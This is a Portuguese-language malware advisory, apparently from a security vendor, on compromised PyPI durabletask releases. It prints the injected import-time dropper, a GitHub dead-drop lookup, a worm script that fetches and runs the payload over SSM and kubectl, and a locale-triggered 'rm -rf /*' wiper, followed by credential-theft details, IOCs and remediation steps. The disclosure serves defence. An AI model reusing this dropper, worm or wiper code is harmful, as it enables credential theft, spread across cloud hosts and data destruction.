Identificamos três versões maliciosas de durabletask no PyPI, 1.4.1, 1.4.2, e 1.4.3, que contêm um dropper injetado diretamente nos arquivos-fonte Python do pacote. Quando um desenvolvedor instala qualquer uma dessas versões e importa a biblioteca, o dropper silenciosamente busca e executa um payload de segunda fase de um domínio C2 de três dias.
Essa segunda fase é um infostealer e worm completo. Ele coleta credenciais de todos os principais provedores Cloud, gerenciadores de senhas e ferramentas de desenvolvedor que consegue encontrar, criptografa os resultados com uma chave RSA controlada pelo atacante e os envia para o C2. Se a máquina estiver rodando dentro da AWS, ele se propaga para outras instâncias EC2 usando SSM. Se estiver dentro do Kubernetes, ele se propaga através de kubectl exec. E se detectar configurações de sistema israelenses ou iranianas, há uma chance em 6 de que ele reproduza áudio e então execute rm -rf /*.
Isso realmente cheira a mais artimanhas do TeamPCP, mas não podemos ter certeza por enquanto.
O que aconteceu
durabletask é um pacote Python para o Durable Task Framework, uma biblioteca de orquestração de workflow associada ao Microsoft Azure. É o tipo de pacote que você esperaria encontrar em ambientes Python Cloud-native executando automação, CI/CD ou cargas de trabalho conectadas ao Azure, que é exatamente o tipo de ambiente que esta campanha foi projetada para atingir.
A partir da versão 1.4.1, __init__.py foi comprometido com um backdoor contendo um dropper que é ativado no momento da importação:
import os
import platform
import subprocess
import urllib.request
if platform.system() == "Linux":
try:
urllib.request.urlretrieve(
"https://check.git-service[.]com/rope.pyz",
"/tmp/managed.pyz"
)
with open(os.devnull, "w") as f:
subprocess.Popen(
["python3", "/tmp/managed.pyz"],
stdout=f,
stderr=f,
stdin=f,
start_new_session=True
)
except Exception:
passO dropper é apenas para Linux, completamente silencioso e executa em um processo desanexado que sobrevive à morte do processo pai. A ampla except: pass engole quaisquer erros. Um desenvolvedor executando import durabletask pela primeira vez não veria absolutamente nada.
As versões contam uma história
Todas as três versões carregam o mesmo código do dropper, mas cada lançamento o injetou em mais arquivos. Esta é uma estratégia deliberada para maximizar a chance de que pelo menos um caminho de importação acione o payload.
Pela versão 1.4.3, o dropper é acionado a partir de cinco pontos de entrada separados. Um desenvolvedor que apenas toca from durabletask.entities import ... ainda está comprometido. O domínio C2, a URL do payload e a lógica do dropper são idênticos byte a byte em todas as três versões, a única mudança é a cobertura.
O payload: rope.pyz
O dropper busca rope.pyz de hxxps://check.git-service[.]com/rope.pyz. O domínio foi registrado em 16 de maio de 2026, três dias antes desta análise. Ele resolve via NameSilo com registro protegido por privacidade.
rope.pyz é um zipapp Python: um arquivo ZIP com um __main__.py ponto de entrada que o Python pode executar diretamente. Ele contém 19 arquivos em um layout de módulo estruturado.
SHA-256: 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce
Antes de fazer qualquer coisa, __main__.py executa quatro verificações:
- Plataforma — sai se não for Linux.
- Localidade — sai se
$LANGcomeça comru. O payload não será executado em sistemas com localidade russa. - Número de CPUs — sai se
os.cpu_count() <= 2. Isso inviabiliza a maioria das sandboxes automatizadas. - Dependências — instala silenciosamente
cryptographyvia pip se não estiver presente, com um--break-system-packagesfallback.
Somente após passar por todas as quatro verificações, ele é entregue ao módulo principal de orquestração.
O dead-drop FIRESCALE
O payload primeiro faz um check-in com hxxps://check.git-service[.]com/v1/models. Se esse endpoint retornar HTTP 200, o corpo da resposta é tratado como um script Python codificado em base64 e entregue a roulette.py para execução — este é o canal de ativação remota do atacante.
Se o C2 primário estiver inacessível, o payload recorre a um dead-drop baseado no GitHub:
req = urllib.request.Request(
"https://api.github.com/search/commits"
"?q=FIRESCALE"
"&sort=committer-date"
"&order=desc"
"&per_page=30",
headers={
"Accept": "application/vnd.github.cloak-preview+json",
"User-Agent": "git/2.39.0",
},
)Ele pesquisa a API de busca de commits do GitHub pela string FIRESCALE. Cada commit correspondente é inspecionado para o padrão:
FIRESCALE <base64_url>.<base64_signatue>
A URL codificada em base64 é aceita apenas se sua assinatura RSA-SHA256 for verificada contra uma chave pública de 4096 bits hardcoded. Isso significa que apenas o atacante — o detentor da chave privada correspondente — pode publicar um novo endereço C2 válido. A API de busca do GitHub se torna um canal de fallback resistente à censura e criptograficamente autenticado. Se o domínio C2 primário for apreendido ou sinkholed, o atacante pode retomar as operações fazendo um único commit público em qualquer lugar no GitHub.
O que ele rouba
A coleta é executada concorrentemente em oito módulos através de ThreadPoolExecutor.
Gerenciadores de senhas. O payload tem como alvo 1Password, Bitwarden, pass, e gopass. Para cada cofre bloqueado, ele tenta desbloqueá-lo escaneando variáveis de ambiente em busca de padrões como *PASS*, *SECRET*, e BW_*, analisando arquivos de histórico de shell em busca de bw unlock e op signin invocações, e então tentando a string literal "anon" como último recurso. Se conseguir acesso, ele despeja tudo.
Arquivos de credenciais. Mais de 90 caminhos de arquivo codificados são lidos. A lista é abrangente: credenciais AWS, credenciais padrão de aplicação GCP, tokens de acesso Azure, ~/.kube/config, ~/.vault-token, ~/.ssh/ (todos os arquivos), ~/.docker/config.json, ~/.pypirc, ~/.npmrc, .env arquivos em todo o diretório home, arquivos de estado do Terraform (que frequentemente contêm Secrets em texto simples), e configurações de VPN, incluindo estado do Tailscale e WireGuard .conf arquivos.
A lista também visa especificamente ferramentas de desenvolvimento de IA: ~/.config/claude/claude_desktop_config.json, ~/.cursor/mcp.json, ~/.vscode/mcp.json, ~/.codeium/mcp.json, e configurações para Zed, Continue, Kilo e OpenCode.
Docker. O payload consulta o Socket Docker em /var/run/docker.sock diretamente, enumerando todos os Containers e extraindo suas variáveis de ambiente. Credenciais Cloud passadas como variáveis de ambiente de Container são um padrão comum em configurações CI/CD baseadas em Docker.
AWS. As credenciais são resolvidas a partir de variáveis de ambiente, em seguida, o serviço de metadados de instância EC2 (IMDS), e depois todos os perfis nomeados em ~/.aws/credentials. Para cada conjunto de credenciais, o payload enumera o AWS Secrets Manager e o SSM Parameter Store em todas as 19 regiões AWS, incluindo GovCloud, simultaneamente. Ele recupera cada valor de Secret, com WithDecryption: True para SSM. Ele também enumera todas as instâncias EC2 gerenciadas por SSM para a etapa de propagação descrita abaixo.
Azure. O payload resolve tokens via credenciais de cliente, asserção JWT baseada em certificado, o cache de token da Azure CLI em ~/.azure/accessTokens.json, ou Azure IMDS (identidade gerenciada). Com um token válido, ele lista todas as assinaturas, todos os Key Vaults em cada assinatura, e recupera cada Secret de cada vault.
GCP. As credenciais são resolvidas a partir de $GOOGLE_APPLICATION_CREDENTIALS, o arquivo de credenciais padrão do aplicativo, ou GCP IMDS. O payload gera seus próprios JWTs OAuth2 e recupera cada Secret do GCP Secret Manager.
Kubernetes. O acesso é resolvido a partir de ~/.kube/config em todos os contextos, a partir de tokens de conta de serviço no cluster, ou via kubectl. Se kubectl não estiver instalado, o payload o baixa do CDN oficial de lançamento do Kubernetes para /tmp/kubectl. Cada segredo em cada namespace em todos os contextos é recuperado e decodificado em base64.
HashiCorp Vault. O payload resolve o token do Vault de $VAULT_TOKEN, ~/.vault-token, credenciais AppRole, ou vault print token. Em seguida, ele percorre recursivamente todos os mounts KV v1 e v2, recuperando cada caminho de segredo. A verificação SSL é desabilitada para lidar com implantações internas do Vault com certificados autoassinados.
Todos os dados coletados são compactados com gzip e criptografados com AES-256-GCM. A chave AES por sessão é encapsulada com RSA-OAEP-SHA256 usando a chave pública do operador codificada. Apenas o atacante pode descriptografá-la.
A exfiltração segue um fallback de três níveis:
- POST para
hxxps://check.git-service[.]com/api/public/version - POST para uma URL de mothership resolvida via o dead-drop FIRESCALE
- Se algum token GitHub roubado for encontrado nos dados coletados, crie um repositório GitHub com nome aleatório público e faça o upload do pacote criptografado como
results.json
Os nomes dos repositórios GitHub de fallback são extraídos de uma lista de palavras do folclore russo: BABA-YAGA, KOSCHEI, FIREBIRD, PTITSA, RUSALKA, MOROZKO, LESHY, e outros. A nomenclatura não é ruído aleatório — é uma impressão digital estável do operador.
Propagação de worm
Após coletar Secrets, o payload se espalha.
AWS SSM. Com as instâncias EC2 enumeradas durante a coleta de credenciais, o payload envia um ssm:SendCommand (usando o AWS-RunShellScript documento) para até cinco instâncias online e não-Windows:
MARKER="$HOME/.cache/.sys-update-check"
[ -f "$MARKER" ] && exit 0
cd /tmp || exit 0
PAYLOAD_FILE="rope-${RANDOM}.pyz"
curl -sSL "https://check.git-service[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
|| curl -sSL "https://t.m-kosche[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
|| exit 0
nohup python3 "$PAYLOAD_FILE" > /dev/null 2>&1 &Um arquivo marcador em ~/.cache/.sys-update-check previne a reinfecção do mesmo host. A URL do payload secundário hxxps://t.m-kosche[.]com/rope.pyz serve como fallback caso o C2 primário esteja inativo.
Kubernetes. Se executado dentro de um cluster K8s, o payload kubectl execenvia o mesmo script de download e execução para até cinco pods em execução, ignorando o atual. Um marcador separado em ~/.cache/.sys-update-check-k8s rastreia a propagação do K8s independentemente.
O limpador de disco
Quando o C2 primário retorna HTTP 200 de /v1/models, a resposta aciona roulette.py. Esse módulo possui duas capacidades: instalar persistência e limpar discos.
Persistência. A resposta C2 decodificada em base64 é gravada em /usr/bin/pgmonitor.py (como root) ou ~/.local/bin/pgmonitor.py (não-root) e registrada como um serviço systemd chamado pgsql-monitor.service, descrito como um "Monitor PostgreSQL." O serviço reinicia automaticamente em caso de falha.
Wiper. O módulo verifica as configurações do sistema israelenses ou iranianas inspecionando $TZ por strings como Jerusalem, Tel_Aviv, e Tehran; lendo /etc/timezone e /etc/localtime conteúdo binário; e verificando $LANG, $LC_ALL, e $LC_MESSAGES por he_IL ou fa_IR. Em uma chance de um em seis, ele executa:
play_at_full_volume(config.RUN_FOR_COVER, "RunForCover.mp3")
subprocess.run(["rm", "-rf", "/*"])Ele baixa um arquivo de áudio de hxxps://check.git-service[.]com/audio.mp3, define o volume do sistema para 100% via pactl, e o reproduz via mpv, então limpa o disco. O áudio precede a limpeza intencionalmente. Este não é um processo em segundo plano automatizado; o atacante o ativa deliberadamente por vítima, retornando 200 OK do check-in do C2.
Detecção e mitigação
Se você instalou durabletask 1.4.1, 1.4.2, ou 1.4.3, trate o host como comprometido. O payload foi executado no momento em que o pacote foi importado.
Verifique primeiro o arquivo marcador:
~/.cache/.sys-update-check
Sua presença confirma que a lógica do worm foi executada naquele host. Verifique ~/.cache/.sys-update-check-k8s separadamente a propagação no Kubernetes.
Procure pelo serviço de persistência:
/etc/systemd/system/pgsql-monitor.service
~/.config/systemd/user/pgsql-monitor.service
/usr/bin/pgmonitor.py
~/.local/bin/pgmonitor.py
Bloqueie e rotacione:
- Todas as credenciais Cloud presentes no host afetado (AWS, Azure, GCP)
- Todas as chaves SSH em
~/.ssh/ - Todos os tokens de conta de serviço Kubernetes
- Quaisquer tokens do HashiCorp Vault
- Tokens e PATs do GitHub — e verificação de novos repositórios públicos com nomes de folclore russo criados a partir desses tokens
npm,pip, e tokens de registro de pacotes- Qualquer coisa em
~/.docker/config.json - Todos os Secrets de variáveis de ambiente que foram definidos na máquina
- Conteúdo de qualquer
.envarquivos no diretório home - Quaisquer arquivos de estado Terraform no host
Se o host estivesse sendo executado dentro da AWS com instâncias gerenciadas por SSM na mesma conta, verifique o AWS CloudTrail para SendCommand atividade da instância comprometida e investigue quaisquer instâncias que ela contatou. Faça o mesmo para Kubernetes: verifique os logs de auditoria para exec comandos originados do pod infectado.
Bloquear na camada de rede:
check.git-service[.]comt.m-kosche[.]com
Indicadores de Comprometimento
Pacotes maliciosos:
durabletask==1.4.1durabletask==1.4.2durabletask==1.4.3
Hashes:
durabletask-1.4.1.tar.gzSHA-256:3de04fe2a76262743ed089efa7115f4508619838e77d60b9a1aab8b20d2cc8bfdurabletask-1.4.2.tar.gzSHA-256:85f54c089d78ebfb101454ec934c767065a342a43c9ee1beac8430cdd3b2086fdurabletask-1.4.3.tar.gzSHA-256:c0b094e46842260936d4b97ce63e4539b99a3eae48b736798c700217c52569dcrope.pyzSHA-256:069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce
Domínios e URLs:
hxxps://check.git-service[.]com/rope.pyzhxxps://check.git-service[.]com/v1/modelshxxps://check.git-service[.]com/api/public/versionhxxps://check.git-service[.]com/audio.mp3hxxps://t.m-kosche[.]com/rope.pyz
Registro de domínio:
git-service.com— registrado em 2026-05-16 (3 dias antes da análise), NameSilo, com proteção de privacidade
Arquivos criados na vítima:
/tmp/managed.pyz— entrega inicial do payload~/.cache/.sys-update-check— marcador de propagação (artefato de detecção de chave)~/.cache/.sys-update-check-k8s— marcador de propagação do Kubernetes/usr/bin/pgmonitor.pyou~/.local/bin/pgmonitor.py— payload de persistência/etc/systemd/system/pgsql-monitor.serviceou~/.config/systemd/user/pgsql-monitor.service— serviço de persistência/tmp/kubectl— binário kubectl baixado se não estiver presente no host
Strings da campanha:
FIRESCALE— string de beacon dead-drop na busca de commits do GitHubpgsql-monitor.service— nome do serviço de persistênciaPostgreSQL Monitor— descrição do serviço de persistência usada como disfarce- Nomes de repositórios do folclore russo:
BABA-YAGA,KOSCHEI,FIREBIRD,PTITSA,RUSALKA,MOROZKO,LESHY,DOMOVOI,VODYANOY, e outros
Como o Aikido detecta isso
Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico. O Aikido faz varreduras noturnas, mas recomendamos acionar uma nova varredura manual agora.
Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. A cobertura de malware está incluída no plano gratuito.
Para proteção futura, o Aikido Safe Chain (código aberto) intercepta comandos de instalação de pacotes e verifica contra o Aikido Intel antes que qualquer coisa seja executada.

